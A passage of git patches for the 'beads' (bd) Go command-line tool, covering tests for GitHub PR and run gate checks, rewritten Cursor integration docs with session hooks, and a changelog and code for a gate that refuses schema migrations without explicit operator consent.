gates") { + t.Errorf("refusal for %s gate has the wrong text: %v", gateType, err) + } + } + }) +} + +func TestCheckGHPRNotFoundNamesTheRepository(t *testing.T) { + notFound := func(t *testing.T, wantArgs ...string) ghCommandRunner { + t.Helper() + return func(args ...string) ([]byte, []byte, error) { + if strings.Join(args, " ") != strings.Join(wantArgs, " ") { + t.Fatalf("gh args = %q, want %q", args, wantArgs) + } + return nil, []byte("GraphQL: Could not resolve to a PullRequest with the number of 7173. (repository.pullRequest)"), fmt.Errorf("exit status 1") + } + } + + t.Run("cross_repo", func(t *testing.T) { + resolved, escalated, reason, err := checkGHPRWithRunner(&types.Issue{ + IssueType: "gate", AwaitType: "gh:pr", AwaitID: "7173", + Metadata: json.RawMessage(`{"repo":"gastownhall/beads"}`), + }, notFound(t, "pr", "view", "7173", "--json", "state,title", "--repo", "gastownhall/beads")) + if err != nil { + t.Fatalf("checkGHPR returned error: %v", err) + } + if resolved || !escalated { + t.Fatalf("resolved, escalated = %v, %v; want false, true", resolved, escalated) + } + if reason != "pull request not found: #7173 in gastownhall/beads" { + t.Fatalf("reason = %q; it must name the repository the number was resolved against", reason) + } + }) + + t.Run("current_repo", func(t *testing.T) { + _, escalated, reason, err := checkGHPRWithRunner(&types.Issue{ + IssueType: "gate", AwaitType: "gh:pr", AwaitID: "7173", + }, notFound(t, "pr", "view", "7173", "--json", "state,title")) + if err != nil || !escalated { + t.Fatalf("escalated, err = %v, %v; want true, nil", escalated, err) + } + if reason != "pull request not found: #7173 in the current repository" { + t.Fatalf("reason = %q", reason) + } + }) +} + +func TestCheckGHRunNotFoundNamesTheRepository(t *testing.T) { + notFound := func(t *testing.T, wantArgs ...string) ghCommandRunner { + t.Helper() + return func(args ...string) ([]byte, []byte, error) { + if !slices.Equal(args, wantArgs) { + t.Fatalf("gh args = %q, want %q", args, wantArgs) + } + // Stub stderr that reaches the escalation arm; real gh 404 + // output does not (see real_gh_404_names_the_repository). + return nil, []byte("run 12345 not found"), fmt.Errorf("exit status 1") + } + } + + t.Run("cross_repo", func(t *testing.T) { + resolved, escalated, reason, err := checkGHRunWithRunner(&types.Issue{ + ID: "gt-run", IssueType: "gate", AwaitType: "gh:run", AwaitID: "12345", + Metadata: json.RawMessage(`{"repo":"gastownhall/beads"}`), + }, nil, notFound(t, "run", "view", "12345", "--json", "status,conclusion,name", "--repo", "gastownhall/beads")) + if err != nil { + t.Fatalf("checkGHRun returned error: %v", err) + } + if resolved || !escalated { + t.Fatalf("resolved, escalated = %v, %v; want false, true", resolved, escalated) + } + if reason != "workflow run not found: 12345 in gastownhall/beads" { + t.Fatalf("reason = %q; it must name the repository the run ID was looked up in", reason) + } + }) + + t.Run("current_repo", func(t *testing.T) { + _, escalated, reason, err := checkGHRunStatusInRepoWithRunner("12345", "", + notFound(t, "run", "view", "12345", "--json", "status,conclusion,name")) + if err != nil || !escalated { + t.Fatalf("escalated, err = %v, %v; want true, nil", escalated, err) + } + if reason != "workflow run not found: 12345 in the current repository" { + t.Fatalf("reason = %q", reason) + } + }) + + t.Run("real_gh_404_names_the_repository", func(t *testing.T) { + // gh run view's real stderr for a run the repository does not have. + // A token without access to the repository gets the same 404, so it + // stays an error rather than an escalation; its URL names the repo. + stderr := "failed to get run: HTTP 404: Not Found (https://api.github.com/repos/gastownhall/beads/actions/runs/12345?exclude_pull_requests=true)\n" + resolved, escalated, _, err := checkGHRunStatusInRepoWithRunner("12345", "gastownhall/beads", + func(args ...string) ([]byte, []byte, error) { + return nil, []byte(stderr), fmt.Errorf("exit status 1") + }) + if err == nil || resolved || escalated { + t.Fatalf("resolved, escalated, err = %v, %v, %v; want false, false, an error", resolved, escalated, err) + } + if !strings.Contains(err.Error(), "/repos/gastownhall/beads/") { + t.Fatalf("err = %q; it must name the repository the run ID was looked up in", err) + } + }) +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 032768c49..91ba704ea 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1538,8 +1538,11 @@ var rootCmd = &cobra.Command{ // touches the local `store` global on that path (a gap left by // #4615, which only handled local paths), so skip local // discovery entirely instead of falling through to the "no - // beads database found" exit below. - if cmd.Name() == "create" && cmd.Flags().Changed("repo") { + // beads database found" exit below. Match the command path, + // not the leaf name: `bd gate create --repo` names a GitHub + // OWNER/REPO for gh:run/gh:pr checks, not a workspace, and must + // still need the local database like any other gate command. + if commandRegistryPath(cmd) == "create" && cmd.Flags().Changed("repo") { if repoVal, _ := cmd.Flags().GetString("repo"); repoVal != "" { if remotecache.IsRemoteURL(repoVal) { return nil diff --git a/docs/workflows/gates.md b/docs/workflows/gates.md index 97dd71dff..2632dc15b 100644 --- a/docs/workflows/gates.md +++ b/docs/workflows/gates.md @@ -45,11 +45,20 @@ write `24h`, not `1d`). GitHub gates use the current Git repository by default. To evaluate a PR or workflow run in another repository, set the gate's string `metadata.repo` value to `OWNER/REPO` or `HOST/OWNER/REPO`. An ad-hoc `gh:run`/`gh:pr` gate created -with `bd gate create` inherits a valid `metadata.repo` value from the issue it -blocks; `human`/`timer`/`bead` gates do not, since `metadata.repo` is -unrelated, ordinary metadata for those types. `bd gate check` rejects -malformed repository values instead of falling back to the current -repository. +with `bd gate create` takes that value from `--repo`, or, without the flag, +inherits a valid `metadata.repo` value from the issue it blocks; +`human`/`timer`/`bead` gates do neither (`--repo` is refused on them), since +`metadata.repo` is unrelated, ordinary metadata for those types. `bd gate check` +rejects malformed repository values instead of falling back to the current +repository, and when a PR number does not resolve, the escalation names the +repository it was looked up in. A gate for a PR in another repository whose +blocked issue carries no `metadata.repo` needs `--repo`: without it the number +is looked up in the current repository and escalates as not found on every +check. + +```bash +bd gate create --type=gh:pr --blocks bd-abc --await-id=42 --repo=owner/other-repo +``` ### Known limitations: multi-rig and proxied-server topologies diff --git a/plugins/beads/skills/beads/resources/ASYNC_GATES.md b/plugins/beads/skills/beads/resources/ASYNC_GATES.md index b504ca223..2f99506a6 100644 --- a/plugins/beads/skills/beads/resources/ASYNC_GATES.md +++ b/plugins/beads/skills/beads/resources/ASYNC_GATES.md @@ -52,6 +52,7 @@ bd gate create --type bead --blocks bd-abc \ **Optional**: - `--type ` — Gate type: `human`, `timer`, `gh:run`, `gh:pr`, `bead` (default `human`) - `--await-id ` — Condition identifier (run ID, PR number, `rig:bead-id`, etc.) +- `--repo ` — For `gh:run`/`gh:pr` only: the GitHub repository the condition is checked in (also `HOST/OWNER/REPO`). Default: the blocked issue's `metadata.repo`, else the current repository — a gate on another repository's PR needs this, or it escalates as "not found" on every check. - `--reason ` — Stored on the gate as its description (what is being gated) - `--timeout ` — **Only timer gates enforce this** via `bd gate check`. You can set it on other types for documentation, but `check` does not auto-resolve/escalate human or GitHub gates based on timeout. From 75d9dabf835e6e6fbd213e0b880861873245c79c Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:20:31 +0000 Subject: [PATCH 169/325] docs(cursor): re-review docs/integrations/cursor.md against cmd/bd/setup/cursor.go (#7333) The page still described the rules-file-only Cursor setup from before #4649 and the old --remove scope. Rewrite it against what bd installs today: - project setup: .cursor/rules/beads.mdc, the shared .agents/skills/beads/ skill, and .cursor/hooks.json with sessionStart/preCompact/postToolUse hooks running `bd cursor-hook ` (user entries left alone) - `bd init` runs the project setup unless --skip-agents/--stealth or bare - --global: ~/.cursor/hooks.json + ~/.agents/skills/beads/, no rules file - hook lifecycle: sessionStart injects bd prime; preCompact arms a refresh marker; postToolUse re-injects once and clears it; markers live in the user cache dir keyed by conversation_id + workspace root - --check scope per mode and the exit/hint on a missing piece - --remove keeps user hooks, deletes hooks.json once only `version` remains, keeps the skill while the Codex integration still uses it - a manual hooks.json fallback in the shape bd writes README.md: `bd init` also installs the Cursor integration, not only Claude Code and Codex (the default init route in cmd/bd/init.go). Follow-up to #7268 (bd-gy483w, the README line from bd-erf5vx). Co-authored-by: Claude Fable 5.1 --- README.md | 2 +- docs/integrations/cursor.md | 102 +++++++++++++++++++++++++++++++----- 2 files changed, 89 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 0984804ed..2416ba132 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ bd setup factory # Factory.ai Droid - creates/updates AGENTS.md **Note:** Beads is a CLI tool you install once and use everywhere. You don't need to clone this repository into your project. -`bd init` creates or updates `AGENTS.md` by default so agents can discover the beads workflow, and also installs project Claude/Codex integrations unless you pass `--skip-agents` or `--stealth`. Use `bd setup --list` to see supported integrations, including `bd setup codex`, `bd setup factory`, `bd setup claude`, `bd setup mux`, `bd setup cursor`, and more. See [Agent and IDE setup](docs/getting-started/ide-setup.md). +`bd init` creates or updates `AGENTS.md` by default so agents can discover the beads workflow, and also installs the project Claude Code, Codex, and Cursor integrations unless you pass `--skip-agents` or `--stealth`. Use `bd setup --list` to see supported integrations, including `bd setup codex`, `bd setup factory`, `bd setup claude`, `bd setup mux`, `bd setup cursor`, and more. See [Agent and IDE setup](docs/getting-started/ide-setup.md). Manual copy-paste is only for unsupported agents, existing projects where you cannot rerun `bd init`/`bd setup`, or custom instruction files. In those cases, run `bd onboard` and paste the printed snippet into the file your agent reads. diff --git a/docs/integrations/cursor.md b/docs/integrations/cursor.md index e2a6dc74c..da061b350 100644 --- a/docs/integrations/cursor.md +++ b/docs/integrations/cursor.md @@ -1,23 +1,70 @@ --- title: Cursor -description: Set up beads for Cursor with an always-applied project rules file +description: Set up beads for Cursor with an always-applied rules file, the beads agent skill, and agent hooks that survive compaction --- -Use Beads with Cursor through a project rules file that keeps the workflow -guidance in front of the agent every turn. +Use Beads with Cursor through an always-applied project rules file, the shared +`beads` agent skill, and Cursor agent hooks that load `bd prime` on session +start and recover it after a context compaction. ```bash bd setup cursor bd setup cursor --check ``` -`bd setup cursor` installs **`.cursor/rules/beads.mdc`** — an always-applied -rule with the canonical Beads workflow guidance (the same content every other -editor integration uses), so it stays in sync as the workflow evolves. Because -it is always applied, Cursor re-includes it every turn, including after a -context compaction. +Project setup writes three things: -Restart Cursor after installing so the rule loads. +- **`.cursor/rules/beads.mdc`** — an always-applied rule with the canonical + Beads workflow guidance (the same content every other editor integration + uses). Because it is always applied, Cursor re-includes it every turn. +- **`.agents/skills/beads/`** — the Beads agent skill, the same one + `bd setup codex` installs. Cursor loads `.agents/skills/` natively. +- **`.cursor/hooks.json`** — `sessionStart`, `preCompact`, and `postToolUse` + hooks that run `bd cursor-hook `. Entries you added yourself are left + alone; only the `bd cursor-hook` entries are managed. + +The hooks invoke `bd`, so make sure `bd` is on `PATH` for Cursor. Restart +Cursor (or start a new `cursor-agent` session) after installing so the rule +and hooks load. + +`bd init` runs this project setup by default, alongside the Claude Code and +Codex setup, unless `--skip-agents` or `--stealth` is used (or the repository +is bare). + +## Global install + +```bash +bd setup cursor --global +bd setup cursor --global --check +``` + +`--global` writes the hooks to `~/.cursor/hooks.json` and the skill to +`~/.agents/skills/beads/`. It does not write a rules file: Cursor has no +file-based global rules location (global rules live in Cursor Settings → +Rules), so either add the guidance there or run `bd setup cursor` per project. +`--check` in global scope verifies the hooks and the skill only. + +## Hook lifecycle + +- `sessionStart` injects the full `bd prime` output as additional context for + the new session. +- `preCompact` arms a one-shot refresh marker and shows a short note that the + workflow context will be re-injected on the next tool call. +- `postToolUse` is a no-op on every tool call unless that marker is present, + in which case it injects `bd prime` once more and clears the marker. + +`preCompact` alone cannot inject context, so the marker plus the first +`postToolUse` after compaction is the recovery path. If `bd prime` fails, the +marker stays in place and a later tool call retries. + +Refresh markers live in a user cache directory keyed by the Cursor +`conversation_id` and the first workspace root. They are not written to +tracked files or to the Beads database. + +These events fire in the Cursor IDE and in recent `cursor-agent` CLI builds +(early-2026 CLI builds only fired shell hooks). Where the agent hooks do not +fire, the rules file and skill still apply; run `bd prime` by hand after a +compaction. ## Verifying it works @@ -25,20 +72,47 @@ Restart Cursor after installing so the rule loads. bd setup cursor --check ``` +This reports the rules file (project scope only), the three managed hooks, and +the agent skill, and exits non-zero with the setup command to run if any is +missing. + In a session, the agent should know your bd workflow without being told — ask it what work is ready and it should run `bd ready`. If it doesn't, confirm -`.cursor/rules/beads.mdc` exists and restart Cursor. - -After a context compaction, have the agent run `bd prime` to restore the -workflow context, ready work, and project memories. +`.cursor/rules/beads.mdc` exists, that `bd` is on `PATH` for Cursor, and +restart Cursor. ## Remove ```bash bd setup cursor --remove +bd setup cursor --global --remove ``` -This removes the rules file while leaving the rest of `.cursor/` intact. +Project removal deletes the rules file and removes only the `bd cursor-hook` +entries from `.cursor/hooks.json`, keeping any hooks of your own (the file is +deleted once nothing but its `version` remains). The shared +`.agents/skills/beads/` skill is removed unless the Codex integration is still +installed, in which case it is kept and `bd` says so. `--global` removes the +same from `~/.cursor/hooks.json` and `~/.agents/skills/beads/`. + +## Manual fallback + +If you manage `.cursor/hooks.json` by hand instead of running +`bd setup cursor`, the equivalent shape is: + +```json +{ + "version": 1, + "hooks": { + "sessionStart": [{ "command": "bd cursor-hook sessionStart" }], + "preCompact": [{ "command": "bd cursor-hook preCompact" }], + "postToolUse": [{ "command": "bd cursor-hook postToolUse" }] + } +} +``` + +`bd setup cursor --check` recognises these entries by their +`bd cursor-hook ` command prefix. ## Related From 70f9e2f8a3208b121b473d0692002198c4ce6dfa Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Thu, 8 Oct 2026 08:21:31 +0000 Subject: [PATCH 170/325] =?UTF-8?q?Beads=201.2=20remediation:=20migration-?= =?UTF-8?q?consent=20gate=20=E2=80=94=20bd=20never=20migrates=20an=20exist?= =?UTF-8?q?ing=20database=20without=20explicit=20consent=20(#5764)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(schema): never migrate an existing database without explicit consent (bd-qhn8y) Beads 1.2 release remediation. 1.2.0/1.2.1 auto-applied migrations 54-65 at store open on ANY command, including reads; older binaries then refuse the migrated database. MigrateUp now refuses pending main-sequence migrations on an existing database before any write (dolt_ignore seeding included) unless the operator consented: bd migrate / bd migrate schema (preview flags withhold), bd migrate --force, or BD_ALLOW_MIGRATE=1 (BD_ALLOW_REMOTE_MIGRATE honored as an alias). Fresh init and at-latest databases are unaffected; the #4259 remote gate keeps all its protections. Also: freeze shipped migrations (hash-pin test, main 0001-0065 + ignored 0001-0024), retract v1.2.0/v1.2.1 in go.mod, agent-executable un-migrate runbook (docs/recovery/unmigrate-schema-v65.md), and the upgrade smoke + historical migration harnesses now model the consent contract and assert the refusal carries guidance. No version bump here by design: cutting the release stays with the release owner. Rebased onto main 800d43eb8d: the go.mod retract hunk is dropped - main already retracts v1.2.0/v1.2.1 (and v1.1.1) since #5782. The uow consent grant moves into the TestMain main added in #6441 (a second TestMain no longer compiles), and the new files are listed in the BUILD.bazel targets main now carries (gazelle). Co-Authored-By: Claude Fable 5 * fix(schema): cloned-workspace bootstrap carries creation-consent (bd-qhn8y) The consent gate treated a workspace `bd init --remote` / `bd bootstrap` just cloned into existence like a pre-existing database, refusing the smart gate's provably-safe first-mover migration and stranding init in the generic open-error path (bypassing the bd-4mpy7 finalize+guidance ergonomics). Cloning IS creating: those paths now record consent explicitly, and the #4259 remote-migrate gate still applies to them unchanged (consent is not its designated-migrator override). Fixes CI TestEmbeddedInit/remote_behind_schema_gate. Co-Authored-By: Claude Fable 5 * test(migration): consent first in main's wisp lanes too (bd-qhn8y) The rebase onto 800d43eb8d brought in #6049's wisp-plane lanes, which postdate this PR's harness changes. Each one makes an ordinary candidate command the first touch on an old-schema database, and the consent gate refuses it: - historical-dolt-upgrade-test.sh run_wisp_plane_upgrade opens with `bd list` before any migrate: "candidate could not open the seeded wisp workspace" for v1.0.1, v1.1.0, v1.1.2 and v1.2.2 (the Migration Test Harness dolt-runtime shard). - run_dirty_tracked_wisp_scenario (v1.1.2): the consent refusal stops the open before MigrateUp reaches the #5816 dirty tables, so the lane fails "without naming them". - upgrade-smoke-test.sh "Wisp plane survives upgrade" upgrades with a bare cand_init, so list/ready/blocked/update all hit the refusal (4 failures each for v1.3.0 and v1.3.1, both in the PR smoke set). Use the PR's own pattern: the explicit `bd migrate schema` is the first candidate touch (cand_upgrade in the smoke script). Base 800d43eb8d passes these lanes unchanged; with this fixup the full 14-version historical corpus and all five PR smoke versions pass. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(schema): close consent-gate review findings (bd-qhn8y) Review fixes for the migration-consent gate (adopt-pr review, attempts 1 and 2). Majors: - #4566 deadlock rebuilt one check earlier: on a database that is both behind and dirty, the consent refusal fired before the dirty-table guard, whose remedy (`bd dolt commit`) opens without consent. The working-set-reconcile opens now tolerate MigrateConsentError: embedded (toleratesConsentRefusal, WSR intent only) and server mode (LenientOpen's warnLenientOpenRefusal) print WorkingSetWarning and commit at the current schema; strict, read-only and RemoteSync opens still refuse. Covered by an embedded test (a refused open writes nothing: dolt_status, dolt_ignore and schema_migrations unchanged) and a server-mode integration subtest. - Bare `bd migrate` consented: isMigrateConsentCommand now matches only the schema verb, so `bd migrate` (metadata reconcile, including --update-repo-id, --inspect and --dry-run) no longer consents to a one-way migration; `bd migrate schema` and --force do. TestLocalMigrateConsentScope pins the scope through the root pre-run. The dirty-table warnings name `bd migrate schema` accordingly. - Runnable JSON hint: the JSON refusal follows the #4259 AgentDirective convention, a non-runnable hint plus a migrate_consent object (versions, pending, severity, human_decision_required, options) whose commands are retargeted with --global for the shared global database. The text refusal prints the same --global hint under `bd --global`. - Freeze floor: the hash-pinned freeze now covers what v1.3.x shipped, main 0001-0066 and ignored 0001-0026; the CHANGELOG puts new migrations in 0070+ / 0028+. - Fresh-bootstrap heal: MigrateUpWithLock with heal authority takes the consent-free migrate path, so a retried bd init whose first pass left a non-zero cursor converges; other lock callers keep the gate. Minors: the uow team-server guards are repinned on `bd migrate schema`; the un-migrate runbook is linked from the recovery index and cross-linked with the 1.2.1 repair-forward doc; the CHANGELOG BREAKING entry matches the shipped contract; harness comment grammar. Docs: the user docs and README named bare `bd migrate` as the step that applies schema migrations; they now say `bd migrate schema`, which also exists in the pinned docs release (v1.2.2) and in v1.3.x. The `bd migrate schema` help no longer claims migrations run automatically on store open. The Go remedy that sends a remote-gate stop to bare `bd migrate` for its migrate-or-adopt options is unchanged (pinned by TestNoticeSharedMigrateRefusalPerDecision). Upgrade smoke (attempt 2): the consent-gate assertion is graded only when the old binary left a database. Releases before v1.0 have no `init --non-interactive`, so prev_init creates nothing there and the candidate's `bd list` fails with "no beads database found", which has no consent guidance. Main's Bazel smoke lane (#7331) runs the newest 30 releases, 20 of them pre-1.0, under the required ci-gate; all 20 went red on the merge. The 10 v1.x releases still take the refusal branch. Shard manifest (pre-approval CI): the new embedded test TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers is listed in the Bazel 15-shard block of embedded-storage-test-shards.txt (incremental --write; shard 15). Main's ci lane runs TestStorageEmbeddedShardManifestGeneratorNotStale in //scripts:scripts_test, which fails on any unlisted top-level embeddeddolt test. Not addressed (optional): env-only consent docs for embedders, the unparseable BD_ALLOW_REMOTE_MIGRATE alias hint, and the harness `|| true` on `cand migrate schema`. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5 Co-authored-by: Eddie the Engineer Co-authored-by: Eddie the Engineer --- .../scripts/embedded-storage-test-shards.txt | 1 + CHANGELOG.md | 40 +++ README.md | 4 +- cmd/bd/BUILD.bazel | 2 + cmd/bd/bootstrap.go | 9 + cmd/bd/init.go | 9 + cmd/bd/main.go | 37 ++- cmd/bd/migrate.go | 12 +- cmd/bd/migrate_consent.go | 56 ++++ cmd/bd/migrate_consent_test.go | 297 ++++++++++++++++++ cmd/bd/store_factory.go | 3 +- docs/docs.json | 1 + docs/getting-started/installation.md | 2 +- docs/getting-started/quickstart.md | 6 +- docs/getting-started/upgrading.md | 26 +- docs/recovery/accidental-1-2-1-release.md | 4 + docs/recovery/index.md | 1 + docs/recovery/unmigrate-schema-v65.md | 91 ++++++ ...ient_open_dirty_tables_integration_test.go | 65 ++++ internal/storage/dolt/store.go | 42 ++- internal/storage/dolt/testmain_test.go | 6 + internal/storage/embeddeddolt/BUILD.bazel | 1 + internal/storage/embeddeddolt/cache.go | 6 +- .../embeddeddolt/migrate_consent_gate_test.go | 190 +++++++++++ internal/storage/embeddeddolt/store.go | 39 ++- .../storage/embeddeddolt/test_fixture_test.go | 7 + internal/storage/schema/BUILD.bazel | 3 + internal/storage/schema/lock.go | 11 +- internal/storage/schema/lock_test.go | 118 +++++++ internal/storage/schema/migrate_consent.go | 235 ++++++++++++++ .../storage/schema/migrate_consent_test.go | 164 ++++++++++ .../storage/schema/migration_freeze_test.go | 183 +++++++++++ .../storage/schema/remote_migrate_gate.go | 3 +- internal/storage/schema/schema.go | 19 +- .../uow/team_server_integration_test.go | 2 +- internal/storage/uow/team_server_schema.go | 2 +- .../storage/uow/team_server_schema_test.go | 2 +- internal/storage/uow/testmain_test.go | 7 + .../historical-dolt-upgrade-test.sh | 25 +- scripts/upgrade-smoke-test.sh | 50 ++- 40 files changed, 1710 insertions(+), 71 deletions(-) create mode 100644 cmd/bd/migrate_consent.go create mode 100644 cmd/bd/migrate_consent_test.go create mode 100644 docs/recovery/unmigrate-schema-v65.md create mode 100644 internal/storage/embeddeddolt/migrate_consent_gate_test.go create mode 100644 internal/storage/schema/migrate_consent.go create mode 100644 internal/storage/schema/migrate_consent_test.go create mode 100644 internal/storage/schema/migration_freeze_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 9d033d94a..439186a24 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -529,6 +529,7 @@ 15 15 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped 15 15 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse 15 15 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering +15 15 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers 15 15 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 15 15 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke 15 15 TestEmbeddedOpenForRemoteSync_DataBehind diff --git a/CHANGELOG.md b/CHANGELOG.md index 3e6aa83e5..91fd0bdd7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -131,6 +131,46 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `scripts/check-versions.sh` and `bd preflight` list the three that work: with `cmd/bd/version.go` already at the release version, that re-run rewrites only the `.githooks` markers and `uv.lock` and leaves any other drifted file as it was. +- **BREAKING (fail-closed): bd no longer migrates an existing database without + explicit consent** (Beads 1.2 release remediation). The 1.2.0/1.2.1 releases + applied migrations 54–65 at store open on ANY command — including pure reads + like `bd list` — with no prompt, and older binaries then refuse the migrated + database (schema-skew guard). A command that would apply pending + main-sequence migrations to an existing database at store open (in embedded + mode that includes reads) now refuses with guidance instead, and the refused + open performs ZERO writes (dolt_ignore seeding and clone-local migrations + included). Server-mode read commands open without running migrations, so + they keep reading at the current schema. `bd dolt commit` and `bd vc commit` + warn and commit at the current schema without migrating, so the dirty-table + recovery (commit, then `bd migrate schema`) still works on a database that + is both behind and dirty. Consent is any of: `bd migrate schema`, the verb + that names the migration (a preview flag withholds it); `--force` on + `bd migrate` or `bd migrate schema`; or `BD_ALLOW_MIGRATE=1` for scripts/CI + (`BD_ALLOW_REMOTE_MIGRATE=1` is honored as an alias). Bare `bd migrate`, + including `--update-repo-id`, `--inspect` and `--dry-run`, does not consent. + Fresh databases (`bd init`) still migrate to latest — creating a database is + consent for its schema, kept across the retry of an interrupted server + bootstrap — and the same creation principle covers a workspace the + invocation just cloned into existence (`bd init --remote`, `bd bootstrap` + sync), so the #4259 behind-remote flows keep their exact behavior. A + database already at this binary's latest version never consults the gate; + one left at v65 by 1.2.x or at v66 by 1.3.x still has migrations pending + under this release, so it asks once. The remote-backed case keeps all of the + #4259 remote-migrate gate's additional protections (smart gate, adopt + fast-forward, fork-skew analysis) unchanged. JSON consumers: the refusal + renders as a structured error whose `error` states the refusal and whose + `hint` is a non-runnable operator directive (neither names a migration + command or a consent variable), plus a `migrate_consent` object + (`current_version`, `required_version`, `pending`, `severity: "blocking"`, + `human_decision_required: true`, and `options`: `migrate` runs + `bd migrate schema`, or `bd migrate schema --global` under `--global`; + `keep` has no command). +- **Shipped migrations are frozen by CI** (same remediation): the content hash + of every released up-migration (main 0001–0066, ignored 0001–0026, through + the 1.3.x releases) is pinned by `TestShippedMigrationsAreFrozen`. Any + amendment to a released migration must land as a new migration (0070+, or + ignored 0028+, as of this change) so installed schemas and freshly-migrated + ones cannot fork. ### Fixed - **PRs based on `hotfix/**` branches now run full CI, not just diff --git a/README.md b/README.md index 2416ba132..d54c13949 100644 --- a/README.md +++ b/README.md @@ -109,8 +109,8 @@ version: sync remote-backed databases with your current `bd`, back up with `bd export --all`, upgrade the binary, then run `bd info --whats-new`, `bd hooks install`, and `bd version`. If the upgrade crosses a schema migration on a remote-backed database, exactly one designated clone runs -`bd migrate` and `bd dolt push`; other clones install the new binary -and run `bd bootstrap`. See the full +`bd migrate schema` and `bd dolt push`; other clones install the new +binary and run `bd bootstrap`. See the full [upgrade guide](https://beads.gascity.com/getting-started/upgrading) or [docs/getting-started/installation.md](docs/getting-started/installation.md#updating-bd). diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index cb48242fb..b3bfafcc1 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -213,6 +213,7 @@ go_library( "metadata_flag.go", "metrics.go", "migrate.go", + "migrate_consent.go", "migrate_dolt_mode.go", "migrate_hooks.go", "migrate_hooks_apply.go", @@ -935,6 +936,7 @@ go_test( "metadata_ready_test.go", "metadataless_server_workspace_test.go", "metrics_test.go", + "migrate_consent_test.go", "migrate_dolt_mode_frontdoor_integration_test.go", "migrate_dolt_mode_test.go", "migrate_embedded_test.go", diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index 305989c43..25af0a9d4 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -1246,6 +1246,15 @@ func executeSyncAction(ctx context.Context, plan BootstrapPlan, cfg *configfile. return err } + // Creation-consent for the migration-consent gate + // (schema/migrate_consent.go): this sync action just CLONED the database + // fresh, so the operator's explicit bootstrap is consent for its schema — + // the same principle that exempts a fresh `bd init`. The #4259 + // remote-migrate gate below is unaffected (consent is not its + // designated-migrator override), so the behind-remote refusal keeps its + // exact bd-6dnrw.31 behavior. + schema.SetLocalMigrateConsent(true) + // Open and close the store to ensure dolt_ignore'd wisp tables are // created in the working set. Clone does not include these tables // (they are never committed), so they must be recreated after clone. diff --git a/cmd/bd/init.go b/cmd/bd/init.go index 8e3cf7435..6377f3779 100644 --- a/cmd/bd/init.go +++ b/cmd/bd/init.go @@ -1350,6 +1350,15 @@ Non-interactive mode (--non-interactive or BD_NON_INTERACTIVE=1): syncFromRemote = false } else { bootstrappedFromRemote = true + // Creation-consent for the migration-consent gate + // (schema/migrate_consent.go): this invocation just CLONED the + // database into a workspace that did not exist before, so the + // operator's `bd init --remote` is consent for its schema — + // the same principle that exempts a fresh `bd init`. The + // #4259 remote-migrate gate is unaffected (consent is not its + // designated-migrator override), so the smart-gate / + // designated-migrator flows keep their exact behavior. + schema.SetLocalMigrateConsent(true) if !quiet { fmt.Printf(" %s Bootstrapped from remote: %s\n", ui.RenderPass("✓"), syncURL) } diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 91ba704ea..9fd38b3b9 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -368,7 +368,8 @@ func isForcedMigrate(cmd *cobra.Command) bool { // schema.SharedConsentCommandForced), so retargeting the bare form would hand // the operator a global-scoped command that still cannot succeed. This mirrors // the retarget in handleRemoteMigrateGateJSON. A nil error keeps the -// pre-existing bare-verb wording. +// pre-existing bare-verb wording, which is also the verb the +// migration-consent refusal prescribes, so that refusal passes nil. func printGlobalDatabaseConsentHint(w io.Writer, e *schema.RemoteMigrateGateError) { if !globalFlag { return @@ -415,13 +416,28 @@ func renderTypedOpenError(err error) bool { } return true } + // The migration-consent gate blocks silent in-place migration of + // ANY existing database (1.2 release remediation) and tells the + // operator how to consent. + var consentErr *schema.MigrateConsentError + if errors.As(err, &consentErr) { + if jsonOutput { + handleMigrateConsentJSON(consentErr) + } else { + fmt.Fprint(os.Stderr, consentErr.UserMessage()) + printGlobalDatabaseConsentHint(os.Stderr, nil) + } + return true + } return false } // isSchemaMigrateVerb reports whether cmd is `bd migrate schema` — the one // invocation in which the operator asked for a schema migration by name. That // request is the consent the shared-store gate wants for a database with no -// remote (#5920); see schema.SetSharedMigrateConsent. +// remote (#5920), and the consent the migration-consent gate wants for any +// existing database; see schema.SetSharedMigrateConsent and +// schema.SetLocalMigrateConsent. // // Deliberately just this one command, not the `bd migrate` tree. Bare // `bd migrate` reconciles version/repo-id/clone-id metadata and never applies @@ -436,6 +452,17 @@ func isSchemaMigrateVerb(cmd *cobra.Command) bool { return cmd == migrateSchemaCmd } +// isMigrateConsentCommand reports whether invoking cmd is consent to apply +// pending schema migrations to an existing database (migrate_consent.go). +// That is `bd migrate schema` alone, the verb that names the migration: bare +// `bd migrate` does not consent, for the reasons isSchemaMigrateVerb gives, +// and --force on either migrate command consents separately, through the gate +// override. A preview withholds the consent, as it does the shared-store one: +// a --dry-run/--inspect must not consent to the work it only inspects. +func 